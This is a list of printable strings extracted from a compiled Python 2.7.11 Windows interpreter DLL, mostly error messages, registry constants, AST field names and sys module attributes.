Type must be _winreg.REG_SZ
OzOiO:SetValueEx
Could not convert the data to the specified type.
O:DisableReflectionKey
RegDisableReflectionKey
O:EnableReflectionKey
RegEnableReflectionKey
O:QueryReflectionKey
RegQueryReflectionKey
_winreg
HKEYType
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_CURRENT_CONFIG
HKEY_DYN_DATA
KEY_QUERY_VALUE
KEY_SET_VALUE
KEY_CREATE_SUB_KEY
KEY_ENUMERATE_SUB_KEYS
KEY_NOTIFY
KEY_CREATE_LINK
KEY_READ
KEY_WRITE
KEY_EXECUTE
KEY_ALL_ACCESS
KEY_WOW64_64KEY
KEY_WOW64_32KEY
REG_OPTION_RESERVED
REG_OPTION_NON_VOLATILE
REG_OPTION_VOLATILE
REG_OPTION_CREATE_LINK
REG_OPTION_BACKUP_RESTORE
REG_OPTION_OPEN_LINK
REG_LEGAL_OPTION
REG_CREATED_NEW_KEY
REG_OPENED_EXISTING_KEY
REG_WHOLE_HIVE_VOLATILE
REG_REFRESH_HIVE
REG_NO_LAZY_FLUSH
REG_NOTIFY_CHANGE_NAME
REG_NOTIFY_CHANGE_ATTRIBUTES
REG_NOTIFY_CHANGE_LAST_SET
REG_NOTIFY_CHANGE_SECURITY
REG_LEGAL_CHANGE_FILTER
REG_NONE
REG_SZ
REG_EXPAND_SZ
REG_BINARY
REG_DWORD
REG_DWORD_LITTLE_ENDIAN
REG_DWORD_BIG_ENDIAN
REG_LINK
REG_MULTI_SZ
REG_RESOURCE_LIST
REG_FULL_RESOURCE_DESCRIPTOR
REG_RESOURCE_REQUIREMENTS_LIST
_warnings
marshal
msvcrt
GetCurrentActCtx
ActivateActCtx
DeactivateActCtx
AddRefActCtx
ReleaseActCtx
Python failed to activate the activation context before loading a DLL
Python failed to de-activate the activation context
Python failed to load the default activation context
buffer overflow in getpathp.c's joinpath()
python
PYTHONPATH
lib\os.py
.\DLLs;.\lib;.\lib\plat-win;.\lib\lib-tk
Can't malloc dynamic PYTHONPATH.
Using environment $PYTHONPATH.
Using default static path.
Software\Python\PythonCore\
\Modules\
Software\Python\PythonCore\%s\Modules\%s%s
ungetwch
putwch
getwche
getwch
ungetch
getche
get_osfhandle
open_osfhandle
setmode
locking
heapmin
:heapmin
iil:locking
ii:setmode
li:open_osfhandle
i:get_osfhandle
:kbhit
:getch
:getwch
:getche
:getwche
c:putch
u#:putwch
Expected unicode string of length 1
c:ungetch
u:ungetwch
LK_LOCK
LK_NBLCK
LK_NBRLCK
LK_RLCK
LK_UNLCK
1fc8b3b9a1e18e3b
VC_ASSEMBLY_PUBLICKEYTOKEN
9.0.21022.8
CRT_ASSEMBLY_VERSION
Microsoft.VC90
LIBRARIES_ASSEMBLY_NAME_PREFIX
warn_explicit
module_globals
registry
stacklevel
category
warnings
onceregistry
defaultaction
filters
_warnings.filters must be a list
_warnings.filters item %zd isn't a 5-tuple
_warnings.defaultaction not found
<unknown>
lost sys.stderr
'registry' must be a dict
always
Unrecognized action (%s) in warnings.filters:
showwarning
warnings.showwarning() must be set to a function or method
__warningregistry__
category is not a subclass of Warning
O|On:warn
OOOi|OOO:warn_explicit
unknown action
once_registry
default_action
(zlOO)
cannot assign to None
__debug__
cannot assign to __debug__
assignment to True or False is forbidden in 3.x
nonlocal
nonlocal is a keyword in 3.x
Non-statement found: %d %d
encoding declaration in Unicode string
invalid node %d for PyAST_FromNode
function call
generator expression
yield expression
list comprehension
set comprehension
dict comprehension
literal
comparison
conditional expression
unexpected expression in assignment %d (line %d)
delete
can't %s %s
invalid augassign: %s
invalid comp_op: %s
invalid comp_op: %s %s
invalid comp_op: has %d children
parenthesized arg with default
non-default argument follows default argument
tuple parameter unpacking has been removed in 3.x
parenthesized argument names are invalid in 3.x
unexpected node in varargslist: %d @ %d
logic error in count_list_fors
logic error in count_comp_fors
(unicode error) %s
(unicode error) unknown error
backquote not supported in 3.x; use repr()
unhandled atom %d
unhandled factor: %d
unhandled expr: %d
Generator expression must be parenthesized if not sole argument
more than 255 arguments
non-keyword arg after keyword arg
only named arguments may follow *expression
lambda cannot contain assignment
keyword can't be an expression
keyword argument repeated
illegal expression for augmented assignment
assignment to yield expression not possible
unexpected flow_stmt: %d
unhandled flow statement
unexpected import name: %d
unhandled import name condition
trailing comma not allowed without surrounding parentheses
Unexpected node-type in from-import
unknown import statement: starts with command '%s'
poorly formed 'exec' statement: %d parts to statement
improper number of parts to 'assert' statement: %d
unexpected token in 'if' statement: %s
wrong number of tokens for 'while' statement: %d
wrong number of children for 'except' clause: %d
malformed 'try' statement
unhandled small_stmt: TYPE=%d NCH=%d
\U%02x%02x%02x%02x
..\Python\ast.c
string to parse is too long
non-ascii bytes literals not supported in 3.x
unichr
reload
raw_input
intern
execfile
callable
__import__
ndigits
number
dont_inherit
locals
s|OOOi:__import__
apply() not supported in 3.x; use func(*args, **kwargs)
apply() arg 2 expected sequence, found %s
apply() arg 3 expected dictionary, found %s
filter
O|O:format
chr() arg not in range(256)
i:unichr
coerce() not supported in 3.x
coerce
Oss|ii:compile
compile(): unrecognised flags
compile() arg 3 must be 'exec', 'eval' or 'single'
compile() expected string without null bytes
divmod
locals must be a mapping
globals must be a real dict; try eval(expr, {}, mapping)
globals must be a dict
eval must be given globals and locals when called without a frame
code object passed to eval() may not contain free variables
eval() arg 1 must be a string or code object
execfile() not supported in 3.x; use exec()
s|O!O:execfile
getattr
getattr(): attribute name must be string
hasattr
hasattr(): attribute name must be string
map() requires at least two args
map(None, ...) not supported in 3.x; use list(...)
%.200s object is not an iterator
setattr
delattr
hex() argument can't be converted to hex
__hex__ returned non-string (type %.200s)
s;embedded '\0' in input line
S:intern
can't intern subclass of string
iter(v, w): v must be callable
%s() got an unexpected keyword argument
%s() arg is an empty sequence
oct() argument can't be converted to oct
__oct__ returned non-string (type %.200s)
ord() expected string of length 1, but %.200s found
ord() expected a character, but string of length %zd found
|OOO:print
stdout
sep must be None, str or unicode, not %.200s
end must be None, str or unicode, not %.200s
range() integer %s argument expected, got %s.
__int__ should return int object
range() step argument must not be zero
range() result has too many items
l;range() requires 1-3 int arguments
ll|l;range() requires 1-3 int arguments
[raw_]input
[raw_]input: lost sys.stdin
[raw_]input: lost sys.stdout
[raw_]input: input too long
reduce() not supported in 3.x; use functools.reduce()
functools
In 3.x, reload() is renamed to imp.reload()
d|O:round
O|OOi:sorted
vars(): no locals!?
vars() argument must have __dict__ attribute
sum() can't sum strings [use ''.join(seq) instead]
isinstance
issubclass
zip argument #%zd must support iteration
filter(): unsubscriptable tuple
can't filter str to str: __getitem__ returned different type
can't filter unicode to unicode: __getitem__ returned different type
PyEval_AcquireThread: NULL new thread state
PyEval_AcquireThread: non-NULL old thread state
PyEval_ReleaseThread: NULL thread state
PyEval_ReleaseThread: wrong thread state
threading
_after_fork
PyEval_SaveThread: NULL tstate
PyEval_RestoreThread: NULL tstate
Stack overflow
maximum recursion depth exceeded%s
ceval: tstate mix-up
ceval: orphan tstate
local variable '%.200s' referenced before assignment
invalid argument to DUP_TOPX (bytecode corruption?)
displayhook
lost sys.displayhook
lost sys.stdout
bad RAISE_VARARGS oparg
no locals
'finally' pops bad exception
no locals found when storing %s
name '%.200s' is not defined
no locals when deleting %s
global name '%.200s' is not defined
no locals when loading %s
free variable '%.200s' referenced before assignment in enclosing scope
__import__ not found
no locals found during 'import *'
XXX lineno: %d, opcode: %d
unknown opcode
error return without exception set
PyEval_EvalCodeEx: NULL globals
at most
exactly
%.200s() takes %s %d argument%s (%d given)
%.200s() keywords must be strings
%.200s() got an unexpected keyword argument '%.400s'
%.200s() got multiple values for keyword argument '%.400s'
at least
%.200s() takes no arguments (%d given)
exc_type
exc_value
exc_traceback
raise: arg 3 must be a traceback or None
calling %s() should have returned an instance of BaseException, not '%s'
exceptions must be old-style classes or derived from BaseException, not %s
exceptions must derive from BaseException in 3.x
need more than %d value%s to unpack
too many values to unpack
argument list must be a tuple
keyword list must be a dictionary
 constructor
 object
%.200s() takes exactly one argument (%d given)
%.200s%s got multiple values for keyword argument '%.200s'
%.200s%.200s argument after ** must be a mapping, not %.200s
%.200s%.200s argument after * must be a sequence, not %200s
slice indices must be integers or None or have an __index__ method
catching of string exceptions is deprecated
catching classes that don't inherit from BaseException is not allowed in 3.x
cannot import name %.230s
__all__
from-import-* object has no __dict__ and no __all__
__metaclass__
Error when calling the metaclass bases
    %s
globals and locals cannot be NULL
exec: arg 1 must be a string, file, or code object
exec: arg 2 must be a dictionary or None
exec: arg 3 must be a mapping or None
code object passed to exec may not contain free variables
Implements the 'backslashreplace' error handling, which replaces an unencodable character with a backslashed escape sequence.
backslashreplace_errors
backslashreplace
Implements the 'xmlcharrefreplace' error handling, which replaces an unencodable character with the appropriate XML character reference.
xmlcharrefreplace_errors
Implements the 'replace' error handling, which replaces malformed data with a replacement marker.
replace_errors
Implements the 'ignore' error handling, which ignores malformed data and continues.
ignore_errors
Implements the 'strict' error handling, which raises a UnicodeError on coding errors.
strict_errors
argument must be callable
no codec search functions registered: can't find encoding
codec search functions must return 4-tuples
unknown encoding: %s
incrementaldecoder
incrementalencoder
encoder must return a tuple (object,integer)
decoder must return a tuple (object,integer)
_is_text_encoding
'%.400s' is not a text encoding; use %s to handle arbitrary codecs
codecs.encode()
codecs.decode()
handler must be callable
unknown error handler name '%.400s'
don't know how to handle %.400s in error callback
codec must pass exception instance
can't initialize codec error registry
can't initialize codec registry
encodings
private identifier too large to be mangled
no symtable
compile.c compiler unit
compiler_exit_scope()
opcode = %d
opcode_stack_effect()
<module>
suite should not be possible
module kind %d should not be possible
unknown scope for %.100s in %.100s(%s) in %s
symbols: %s
locals: %s
globals: %s
lookup %s in %s %d %d
freevars of %s: %s
compiler_make_closure()
<lambda>
default 'except:' must be last
from __future__ imports must occur at the beginning of the file
assertion is always true, perhaps remove parentheses?
'return' outside function
'break' outside loop
unary op %d should not be possible
binary op %d should not be possible
inplace binary op %d should not be possible
can not delete variable '%s' referenced in nested scope
param invalid for deref variable
param invalid for local variable
param invalid for global variable
param invalid for name variable
unknown comprehension type %d
<genexpr>
<setcomp>
<dictcomp>
'yield' outside function
param invalid in attribute expression
param invalid in subscript expression
invalid node type (%d) for augmented assignment
too many statically nested blocks
(ziOO)
invalid %s kind %d in subscript
param invalid in simple slice
extended slice invalid in nested slice
extended slice
invalid subscript kind %d
init%.200s
DLL load failed with error code %d
DLL load failed: 
python%d%d.dll
Module use of %.150s conflicts with this version of Python.
bad argument type for built-in operation
Windows Error 0x%X
%s:%d: bad argument to internal function
bad argument to internal function
PyErr_NewException: name must be module.class
Exception 
 ignored
Unknown format code '%c' for object of type '%.200s'
Cannot specify ',' with '%c'.
Format specifier missing precision
Invalid conversion specification
Sign not allowed in string format specifier
Alternate form (#) not allowed in string format specifier
'=' alignment not allowed in string format specifier
Precision not allowed in integer format specifier
Sign not allowed with integer format specifier 'c'
Thousands separators not allowed with integer format specifier 'c'
%c arg not in range(0x100)
precision too big
Alternate form (#) not allowed in float format specifier
Alternate form (#) not allowed in complex format specifier
Zero padding is not allowed in complex format specifier
'=' alignment flag is not allowed in complex format specifier
Unknown format code '\x%x' for object of type '%.200s'
Cannot specify ',' with '\x%x'.
__phello__.spam
__phello__
__hello__
nested_scopes
generators
division
absolute_import
braces
not a chance
future feature %.100s is not defined
getargs.cleanup_ptr
getargs.cleanup_buffer
too many tuple nesting levels in argument format string
excess ')' in getargs format
missing ')' in getargs format
%.200s%s takes no arguments
%.200s%s takes at least one argument
old style getargs format uses new features
new style getargs format but argument is not a tuple
%.150s%s takes %s %d argument%s (%ld given)
bad format string: %.200s
%.200s() 
argument %d
, item %d
argument
 %.256s
expected %d arguments, not %.50s
must be %d-item sequence, not %.50s
expected %d arguments, not %d
must be sequence of length %d, not %d
is not retrievable
must be %.50s, not %.50s
integer<b>
unsigned byte integer is less than minimum
unsigned byte integer is greater than maximum
integer<B>
integer<h>
signed short integer is less than minimum
signed short integer is greater than maximum
integer<H>
integer<i>
signed integer is greater than maximum
signed integer is less than minimum
integer<I>
integer<l>
integer<k>
long<L>
integer<K>
float<f>
float<d>
complex<D>
(unicode conversion error)
(cleanup problem)
size does not fit in an int
string without null bytes
string or None
string without null bytes or None
(unknown parser marker combination)
(buffer is NULL)
string or unicode or text buffer
(encoding failed)
(encoder failed to return a string)
(buffer_len is NULL)
(memory error)
(buffer overflow)
encoded string without NULL bytes
cannot convert raw buffers
(unspecified)
pinned buffer
read-write buffer
contiguous buffer
single-segment read-write buffer
invalid use of 't' format character
string or read-only character buffer
string or single-segment read-only buffer
string or pinned buffer
impossible<bad format char>
string or read-only buffer
string or buffer
convertible to a buffer
..\Python\getargs.c
%s%s takes at most %d argument%s (%d given)
More keyword list entries (%d) than format specifiers (%d)
Argument given by name ('%s') and position (%d)
Required argument '%s' (pos %d) not found
%s: '%s'
more argument specifiers than keyword list entries (remaining format:'%s')
keywords must be strings
'%s' is an invalid keyword argument for this function
Unmatched left paren in format string
Unmatched right paren in format string
at least 
%s expected %s%zd arguments, got %zd
unpacked tuple should have %s%zd elements, but has %zd
at most 
%s does not take keyword arguments
[MSC v.1500 32 bit (Intel)]
--help
--version
-J is reserved for Jython
-X is reserved for implementation-specific arguments
Unknown option: -%c
Argument expected for the -%c option
%.80s (%.80s) %.80s
yield_expr
encoding_decl
classdef
dictorsetmaker
testlist_comp
listmaker
factor
arith_expr
shift_expr
and_expr
xor_expr
not_test
and_test
or_test
old_test
except_clause
with_item
with_stmt
try_stmt
for_stmt
while_stmt
if_stmt
assert_stmt
exec_stmt
global_stmt
dotted_name
dotted_as_names
import_as_names
dotted_as_name
import_from
raise_stmt
return_stmt
continue_stmt
break_stmt
pass_stmt
expr_stmt
varargslist
funcdef
decorated
decorators
decorator
eval_input
file_input
single_input
Null importer object
imp.NullImporter
Always return None
load_source
load_package
load_dynamic
load_compiled
is_frozen
is_builtin
init_frozen
init_builtin
get_frozen_object
lock_held
new_module
get_suffixes
get_magic
__stderr__
__stdout__
__stdin__
float_info
last_traceback
last_value
last_type
exitfunc
Can't initialize import file table.
# installing zipimport hook
meta_path
path_importer_cache
path_hooks
initializing sys.meta_path, sys.path_hooks, path_importer_cache, or NullImporter failed
# can't import zipimport
# can't import zipimport.zipimporter
# installed zipimport hook
PyImport_ReInitLock failed to create a new lock
not holding the import lock
PyImport_GetModuleDict: no module dictionary!
# clear __builtin__._
# clear sys.%s
# restore sys.%s
# cleanup __main__
# cleanup[1] %s
# cleanup[2] %s
# cleanup sys
# cleanup __builtin__
_PyImport_FixupExtension: module %.200s not loaded
import %s # previously loaded (%s)
import:  deleting existing key insys.modules failed
Loaded module %.200s not found in sys.modules
# %s matches %s
Non-code object in %.200s
Bad magic number in %.200s
import %s # precompiled from %s
# can't create %s
# can't write %s
# wrote %s
unable to get file status from '%s'
import %s # from %s
dont_write_bytecode
import %s # directory %s
module name is too long
sys.meta_path must be a list of import hooks
full frozen module name too long
No frozen submodule named %.200s
sys.path must be a list of directory names
sys.path_hooks must be a list of import hooks
sys.path_importer_cache must be a dict
Not importing directory '%.*s': missing __init__.py
# trying %s
No module named %.200s
PYTHONCASEOK
Can't find file for module %.100s
(filename %.300s)
file object required for import (type code %d)
builtin
frozen
Purported %s module %.200s not found
%s module %.200s not properly initialized
import hook without loader
Don't know how to import %.200s (type code %d)
Cannot re-init internal module %.200s
import %s # builtin
No such frozen object named %.200s
Excluded frozen object named %.200s
 package
import %s # frozen%s
frozen object %.200s is not a code object
<frozen>
Failed to import %.200s because the import lockis held by another thread.
Import by filename is not supported.
Empty module name
__package__ set to non-string
Attempted relative import in non-package
Package name too long
Module name too long
Could not set __package__
Attempted relative import beyond toplevel package
Parent module '%.200s' not found while handling absolute import
Parent module '%.200s' not loaded, cannot perform relative import
Item in ``from list'' not a string
PyImport_ReloadModule: no modules_reloading dictionary!
reload() argument must be module
reload(): module %.200s not in sys.modules
reload(): parent %.200s not in sys.modules
Os(ssi)
s|O:find_module
s:init_builtin
s:init_frozen
s:get_frozen_object
s:is_builtin
s:is_frozen
bad/closed file object
ss|O!:load_compiled
ss|O!:load_dynamic
ss|O!:load_source
sOs(ssi):load_module
invalid file open mode %.200s
load_module arg#2 should be a file or None
ss:load_package
s:new_module
NullImporter()
s:NullImporter
empty pathname
existing directory
SEARCH_ERROR
PY_SOURCE
PY_COMPILED
C_EXTENSION
PY_RESOURCE
PKG_DIRECTORY
C_BUILTIN
PY_FROZEN
PY_CODERESOURCE
IMP_HOOK
NullImporter
dynamic module does not define init function (init%.200s)
dynamic module not initialized properly
import %s # dynamically loaded from %s
bad marshal data (long size out of range)
bad marshal data (unnormalized long data)
bad marshal data (digit out of range in long)
recursion limit exceeded
EOF read where object expected
bad marshal data (string size out of range)
bad marshal data (string ref out of range)
bad marshal data (unicode size out of range)
bad marshal data (tuple size out of range)
NULL object in marshal data for tuple
bad marshal data (list size out of range)
NULL object in marshal data for list
bad marshal data (set size out of range)
NULL object in marshal data for set
cannot unmarshal code objects in restricted execution mode
bad marshal data (unknown type code)
XXX readobject called with exception set
NULL object in marshal data for object
unmarshallable object
object too deeply nested to marshal
too much marshall data for a string
OO|i:dump
marshal.dump() 2nd arg must be file
marshal.load() arg must be file
s#:loads
version
Python import machinery not initialized
module functions cannot set METH_CLASS or METH_STATIC
unmatched paren in format
Unmatched paren in format
string too long for Python string
NULL object passed to Py_BuildValue
bad format char passed to Py_BuildValue
PyModule_AddObject() needs module as first arg
PyModule_AddObject() needs non-NULL value
module '%s' has no __dict__
unexpected binary operation %d on a constant
unexpected unary operation %d on a constant
Can't initialize threads for interpreter
PyInterpreterState_Delete: invalid interp
PyInterpreterState_Delete: remaining threads
PyThreadState_Clear: warning: thread still has a frame
PyThreadState_Delete: NULL tstate
PyThreadState_Delete: NULL interp
PyThreadState_Delete: invalid tstate
PyThreadState_Delete: small circular list(!) and tstate not found.
PyThreadState_Delete: circular list(!) and tstate not found.
PyThreadState_Delete: tstate is still current
PyThreadState_DeleteCurrent: no current tstate
PyThreadState_Get: no current thread
Couldn't create autoTLSkey mapping
Couldn't create thread-state for new thread
auto-releasing thread-state, but no thread-state for this thread
This thread state must be current when releasing
PyOS_ascii_strtod and PyOS_ascii_atof are deprecated.  Use PyOS_string_to_double instead.
could not convert string to float: %.200s
value too large to convert to float: %.200s
e%+.02d
PyOS_ascii_formatd is deprecated, use PyOS_double_to_string instead
..\Python\pystrtod.c
%+.02d
_ast.AST
asname
defaults
vararg
kwargs
starargs
comparators
operand
finalbody
handlers
optional_vars
context_expr
orelse
target
targets
decorator_list
col_offset
_fields
either 0 or 
%.400s constructor takes %s%zd positional argument%s
s(O){sOss}
_attributes
AST identifier must be of type str
AST string must be of type str or unicode
invalid integer value: %.400s
invalid boolean value: %.400s
Module
Interactive
Expression
FunctionDef
ClassDef
Return
Delete
Assign
AugAssign
TryExcept
TryFinally
Assert
Import
ImportFrom
Global
Continue
BoolOp
UnaryOp
Lambda
ListComp
SetComp
DictComp
GeneratorExp
Compare
Attribute
Subscript
expr_context
AugLoad
AugStore
ExtSlice
boolop
LShift
RShift
BitXor
BitAnd
FloorDiv
unaryop
Invert
comprehension
excepthandler
ExceptHandler
arguments
keyword
field body is required for Expression
field name is required for FunctionDef
field args is required for FunctionDef
field name is required for ClassDef
field value is required for Assign
field target is required for AugAssign
field op is required for AugAssign
field value is required for AugAssign
field target is required for For
field iter is required for For
field test is required for While
field test is required for If
field context_expr is required for With
field test is required for Assert
field body is required for Exec
field value is required for Expr
field op is required for BoolOp
field left is required for BinOp
field op is required for BinOp
field right is required for BinOp
field op is required for UnaryOp
field operand is required for UnaryOp
field args is required for Lambda
field body is required for Lambda
field test is required for IfExp
field body is required for IfExp
field orelse is required for IfExp
field elt is required for ListComp
field elt is required for SetComp
field key is required for DictComp
field value is required for DictComp
field elt is required for GeneratorExp
field left is required for Compare
field func is required for Call
field value is required for Repr
field n is required for Num
field s is required for Str
field value is required for Attribute
field attr is required for Attribute
field ctx is required for Attribute
field value is required for Subscript
field slice is required for Subscript
field ctx is required for Subscript
field id is required for Name
field ctx is required for Name
field ctx is required for List
field ctx is required for Tuple
field value is required for Index
field target is required for comprehension
field iter is required for comprehension
field arg is required for keyword
field value is required for keyword
field name is required for alias
unknown expr_context found
unknown boolop found
unknown operator found
unknown unaryop found
unknown cmpop found
Module field "body" must be a list, not a %.200s
required field "body" missing from Module
Interactive field "body" must be a list, not a %.200s
required field "body" missing from Interactive
required field "body" missing from Expression
Suite field "body" must be a list, not a %.200s
required field "body" missing from Suite
expected some sort of mod, but got %.400s
required field "lineno" missing from stmt
required field "col_offset" missing from stmt
required field "name" missing from FunctionDef
required field "args" missing from FunctionDef
FunctionDef field "body" must be a list, not a %.200s
required field "body" missing from FunctionDef
FunctionDef field "decorator_list" must be a list, not a %.200s
required field "decorator_list" missing from FunctionDef
required field "name" missing from ClassDef
ClassDef field "bases" must be a list, not a %.200s
required field "bases" missing from ClassDef
ClassDef field "body" must be a list, not a %.200s
required field "body" missing from ClassDef
ClassDef field "decorator_list" must be a list, not a %.200s
required field "decorator_list" missing from ClassDef
Delete field "targets" must be a list, not a %.200s
required field "targets" missing from Delete
Assign field "targets" must be a list, not a %.200s
required field "targets" missing from Assign
required field "value" missing from Assign
required field "target" missing from AugAssign
required field "op" missing from AugAssign
required field "value" missing from AugAssign
Print field "values" must be a list, not a %.200s
required field "values" missing from Print
required field "nl" missing from Print
required field "target" missing from For
required field "iter" missing from For
For field "body" must be a list, not a %.200s
required field "body" missing from For
For field "orelse" must be a list, not a %.200s
required field "orelse" missing from For
required field "test" missing from While
While field "body" must be a list, not a %.200s
required field "body" missing from While
While field "orelse" must be a list, not a %.200s
required field "orelse" missing from While
required field "test" missing from If
If field "body" must be a list, not a %.200s
required field "body" missing from If
If field "orelse" must be a list, not a %.200s
required field "orelse" missing from If
required field "context_expr" missing from With
With field "body" must be a list, not a %.200s
required field "body" missing from With
TryExcept field "body" must be a list, not a %.200s
required field "body" missing from TryExcept
TryExcept field "handlers" must be a list, not a %.200s
required field "handlers" missing from TryExcept
TryExcept field "orelse" must be a list, not a %.200s
required field "orelse" missing from TryExcept
TryFinally field "body" must be a list, not a %.200s
required field "body" missing from TryFinally
TryFinally field "finalbody" must be a list, not a %.200s
required field "finalbody" missing from TryFinally
required field "test" missing from Assert
Import field "names" must be a list, not a %.200s
required field "names" missing from Import
ImportFrom field "names" must be a list, not a %.200s
required field "names" missing from ImportFrom
required field "body" missing from Exec
Global field "names" must be a list, not a %.200s
required field "names" missing from Global
required field "value" missing from Expr
expected some sort of stmt, but got %.400s
required field "lineno" missing from expr
required field "col_offset" missing from expr
required field "op" missing from BoolOp
BoolOp field "values" must be a list, not a %.200s
required field "values" missing from BoolOp
required field "left" missing from BinOp
required field "op" missing from BinOp
required field "right" missing from BinOp
required field "op" missing from UnaryOp
required field "operand" missing from UnaryOp
required field "args" missing from Lambda
required field "body" missing from Lambda
required field "test" missing from IfExp
required field "body" missing from IfExp
required field "orelse" missing from IfExp
Dict field "keys" must be a list, not a %.200s
required field "keys" missing from Dict
Dict field "values" must be a list, not a %.200s
required field "values" missing from Dict
Set field "elts" must be a list, not a %.200s
required field "elts" missing from Set
required field "elt" missing from ListComp
ListComp field "generators" must be a list, not a %.200s
required field "generators" missing from ListComp
required field "elt" missing from SetComp
SetComp field "generators" must be a list, not a %.200s
required field "generators" missing from SetComp
required field "key" missing from DictComp
required field "value" missing from DictComp
DictComp field "generators" must be a list, not a %.200s
required field "generators" missing from DictComp
required field "elt" missing from GeneratorExp
GeneratorExp field "generators" must be a list, not a %.200s
required field "generators" missing from GeneratorExp
required field "left" missing from Compare
Compare field "ops" must be a list, not a %.200s
required field "ops" missing from Compare
Compare field "comparators" must be a list, not a %.200s
required field "comparators" missing from Compare
required field "func" missing from Call
Call field "args" must be a list, not a %.200s
required field "args" missing from Call
Call field "keywords" must be a list, not a %.200s
required field "keywords" missing from Call
required field "value" missing from Repr
required field "n" missing from Num
required field "s" missing from Str
required field "value" missing from Attribute
required field "attr" missing from Attribute
required field "ctx" missing from Attribute
required field "value" missing from Subscript
required field "slice" missing from Subscript
required field "ctx" missing from Subscript
required field "id" missing from Name
required field "ctx" missing from Name
List field "elts" must be a list, not a %.200s
required field "elts" missing from List
required field "ctx" missing from List
Tuple field "elts" must be a list, not a %.200s
required field "elts" missing from Tuple
required field "ctx" missing from Tuple
expected some sort of expr, but got %.400s
expected some sort of expr_context, but got %.400s
ExtSlice field "dims" must be a list, not a %.200s
required field "dims" missing from ExtSlice
required field "value" missing from Index
expected some sort of slice, but got %.400s
expected some sort of boolop, but got %.400s
expected some sort of operator, but got %.400s
expected some sort of unaryop, but got %.400s
expected some sort of cmpop, but got %.400s
required field "target" missing from comprehension
required field "iter" missing from comprehension
comprehension field "ifs" must be a list, not a %.200s
required field "ifs" missing from comprehension
required field "lineno" missing from excepthandler
required field "col_offset" missing from excepthandler
ExceptHandler field "body" must be a list, not a %.200s
required field "body" missing from ExceptHandler
expected some sort of excepthandler, but got %.400s
arguments field "args" must be a list, not a %.200s
required field "args" missing from arguments
arguments field "defaults" must be a list, not a %.200s
required field "defaults" missing from arguments
required field "arg" missing from keyword
required field "value" missing from keyword
required field "name" missing from alias
PyCF_ONLY_AST
expected %s node, got %.400s
PYTHONDEBUG
PYTHONVERBOSE
PYTHONOPTIMIZE
PYTHONDONTWRITEBYTECODE
Py_Initialize: can't make first interpreter
Py_Initialize: can't make first thread
Py_Initialize: can't init frames
Py_Initialize: can't init ints
Py_Initialize: can't init longs
Py_Initialize: can't init bytearray
Py_Initialize: can't make modules dictionary
Py_Initialize: can't make modules_reloading dictionary
Py_Initialize: can't initialize __builtin__
Py_Initialize: can't initialize builtins dict
Py_Initialize: can't initialize sys
Py_Initialize: can't initialize sys dict
PYTHONIOENCODING
Cannot set codeset of stdin
Cannot set codeset of stdout
Cannot set codeset of stderr
Py_NewInterpreter: call Py_Initialize first
Py_EndInterpreter: thread is not current
Py_EndInterpreter: thread still has a frame
Py_EndInterpreter: not the last thread
PYTHONHOME
can't create __main__ module
can't add __builtins__ to __main__
python: Can't reopen .pyc file
O(ziiz)
excepthook
Error in sys.excepthook:
Original exception was:
sys.excepthook is missing
  File "
", line 
Bad magic number in .pyc file
Bad code object in .pyc file
expected an indented block
unexpected indent
unexpected unindent
invalid syntax
invalid token
EOF while scanning triple-quoted string literal
EOL while scanning string literal
unexpected EOF while parsing
inconsistent use of tabs and spaces in indentation
expression too long
unindent does not match any outer indentation level
too many levels of indentation
unknown decode error
unexpected character after line continuation character
error=%d
unknown parsing error
(ziiz)
Fatal Python error: %s
_shutdown
Error in sys.exitfunc:
Could not reset the stack!
CryptAcquireContextA
CryptGenRandom
Failed to initialize Windows random API (CryptoGen)
Failed to initialized the randomized hash secret using CryptoGen)
PYTHONHASHSEED must be "random" or an integer in range [0; 4294967295]
restricted attribute
bad memberdescr type
readonly attribute
can't delete numeric/char attribute
attribute value type must be bool
Truncation of value to char
Truncation of value to unsigned char
Truncation of value to short
Truncation of value to unsigned short
Truncation of value to int
Writing negative value into unsigned field
Truncation of value to unsigned int
bad memberdescr type for %s
symtable entry
nested
optimized
children
varnames
symbols
<symtable entry %.100s(%ld), line %d>
this compiler does not handle Suites
unknown symbol table entry
name '%s' is local and global
failed to set scope for %s
contains a nested function with free variables
is a nested function
import * is not allowed in function '%.100s' because it %s
unqualified exec is not allowed in function '%.100s' because it %s
function '%.100s' uses import * and bare exec, which are illegal because it %s
duplicate argument '%s' in function definition
'return' with argument inside generator
name '%.400s' is assigned to before global declaration
name '%.400s' is used prior to global declaration
invalid expression in parameter list
import * only allowed at module level
genexpr
setcomp
dictcomp
sys.version_info
Serial release number
serial
'alpha', 'beta', 'candidate', or 'release'
releaselevel
Patch release number
Minor release number
Major release number
sys.flags
hash_randomization
bytes_warning
verbose
-t or -tt
tabcheck
ignore_environment
no_site
no_user_site
-O or -OO
optimize
interactive
inspect
division_new
division_warning
py3k_warning
call_tracing
gettrace
settrace
setrecursionlimit
getprofile
setprofile
getcheckinterval
setcheckinterval
setdefaultencoding
getwindowsversion
_getframe
getsizeof
getrecursionlimit
getrefcount
getfilesystemencoding
getdefaultencoding
exc_clear
exc_info
_current_frames
_clear_type_cache
callstats
sys.getwindowsversion
System product type
product_type
Bit mask identifying available product suites
suite_mask
Service Pack minor version number
service_pack_minor
Service Pack major version number
service_pack_major
Latest Service Pack installed on the system
service_pack
Operating system platform
Build number
Minor version number
Major version number
c_return
c_exception
c_call
exception
lost __builtin__
sys.exc_clear() not supported in 3.x; use except clauses
s:setdefaultencoding
i:setcheckinterval
i:setrecursionlimit
recursion limit must be positive
Type %.100s doesn't define __sizeof__
__sizeof__() should return >= 0
O|O:getsizeof
|i:_getframe
call stack is not deep enough
OO!:call_tracing
<stdout>
<stderr>
__displayhook__
__excepthook__
hexversion
CPython
subversion
_mercurial
api_version
exec_prefix
maxsize
maxint
py3kwarning
long_info
maxunicode
builtin_module_names
little
byteorder
dllhandle
winver
warnoptions
version_info
float_repr_style
can't create sys.path
can't assign sys.path
no mem for sys.argv
can't assign sys.argv
no mem for sys.path insertion
sys.path.insert(0) failed
... truncated
traceback
tb_lineno
tb_lasti
tb_frame
tb_next
..\Python\traceback.c
          
  File "%.500s", line %d, in %.500s
tracebacklimit
Traceback (most recent call last):
20:32:19
Dec  5 2015
%s%s%s, %.20s, %.9s
Unversioned directory
6d1b6a68f775
v2.7.11
?333333
?UUUUUU
?UUUUUU
?UUUUUU
<ffffff
MbP?#B
7'{O^B@
?333333
RSDS>Q
C:\build27\cpython\PCBuild\python27.pdb
QueryPerformanceCounter
